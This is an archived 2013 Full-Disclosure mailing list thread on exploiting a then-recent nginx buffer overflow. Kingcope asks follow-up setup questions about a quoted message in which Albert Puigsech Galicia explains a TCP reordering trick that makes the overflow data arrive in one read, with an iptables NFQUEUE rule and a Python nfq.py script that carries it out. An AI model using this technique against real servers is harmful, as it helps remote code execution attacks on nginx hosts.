lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-Id: <88ADB840-1FE5-4512-9563-8AACF37ED228@googlemail.com>
Date: Fri, 26 Jul 2013 13:19:09 +0700
From: Kingcope <isowarez.isowarez.isowarez@...glemail.com>
To: Albert Puigsech Galicia <albert@...gsech.com>
Cc: "submissions@...ketstormsecurity.com"
 <submissions@...ketstormsecurity.com>,
 "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>,
 "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
 "submit@...sec.com" <submit@...sec.com>
Subject: Re: nginx exploit documentation,
	about a generic way to exploit Linux targets

Thanks for the hint about how to solve the issue!
Two questions.

Is the combination of both the iptables setting and python script a standalone solution along with the exploit code or is it required to send the exploit buffers in nfq.py? I assume the first.

Does this configuration require anything else? I tested it using a vm inside windows but I presume it needs a real independent Linux host on the Internet right?

Greetings,

Kcope

Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia <albert@...gsech.com>:

> Hello everybody,
> 
> 
>> "Ioctl is needed to set the nginx socket blocking so another call to write(2) will read much more memory than it is possible with the default non-blocking connection of nginx."
> 
> 
> This vulnerability was published recently and it seems that many
> exploiters got stuck because the socket will not block because the
> buffer is longer than the standard ethernet MTU, some others have
> found another attack vector without that problem.
> 
> Let me to explain how we have achieved to overcome the non-blocking
> socket impediment without doing so much:
> 
> 
> When packets arriving at the TCP layer are analyzed and once
> determined the sequence are immediately delivered to the upper layer
> of the OSI model.
> 
> Let's imagine that you want to overflow a big buffer through the
> network. Normally you would execute something like;
> 
> send(sock, "AAAAA….A",…);
> 
> If the size of the data is bigger than the MTU, is then splitted into
> multiple packages. The destination processes the information on many
> smaller packages instead of one. In summary,the read()/recv() doesn't
> get all the data and the overflow is not done.
> 
> And that's what's happening on ngingx.
> 
> 
> 
> What we have done to prevent that packets are delivered directly to
> the next layer is taking profit of TCP windows and TCP reorder:
> sending the first package on the last place.
> 
> What happens is that the TCP stack will not deliver the packets to the
> next layer because the information is not complete, and just wait
> until all information (up to the size of the tcp window) is received
> to deliver it.
> 
> Then the application layer will get all the information in _the same_
> read an the overflow will happen.
> 
> 
> 
> Using that TCP trick, the size limitation of the overflow is the TCP
> window size instead the MTU.
> 
> 
> 
> One easy and **dirty** way to implement this is using iptables and
> nfqueue, but there are some better ones:
> 
> # iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE
> # python nfq.py
> 
> Regards,
> 
> 
> 
> ===/ nfq.py /===
> import nfqueue
> import socket
> import time
> 
> data_count = 0
> delayed = None
> 
> def cb(dummy, payload):
>        global data_count
>        global delayed
>        data = payload.get_data()
> # DIRTY for first data package (not three-way-handshake)
>        if len(data) > 60:
>                data_count += 1
>                if (data_count == 1):
>                        delayed = payload
>                        print data
> # Just DROP the packet and the local TCP stack will send it again
> because won't get the ACK.
>                        payload.set_verdict(nfqueue.NF_DROP)
>        else:
>                data_count = 0
> 
> 
> q = nfqueue.queue()
> q.open()
> q.bind(socket.AF_INET)
> q.set_callback(cb)
> q.create_queue(0)
> try:
>        q.try_run()
> except KeyboardInterrupt:
>        print "Exiting..."
> q.unbind(socket.AF_INET)
> q.close()
> ===/ nfq.py /===
> 
> On 23 July 2013 19:49, king cope
> <isowarez.isowarez.isowarez@...glemail.com> wrote:
>> (see attachment)
>> 
>> /Kingcope
>> 
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
> 
> 
> 
> -- 
> Albert Puigsech Galicia
> + Mail: albert@...gsech.com
> + Jabber: albert@...gsech.com
> + Twitter: @apuigsech
> + Web: file:///dev/null

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ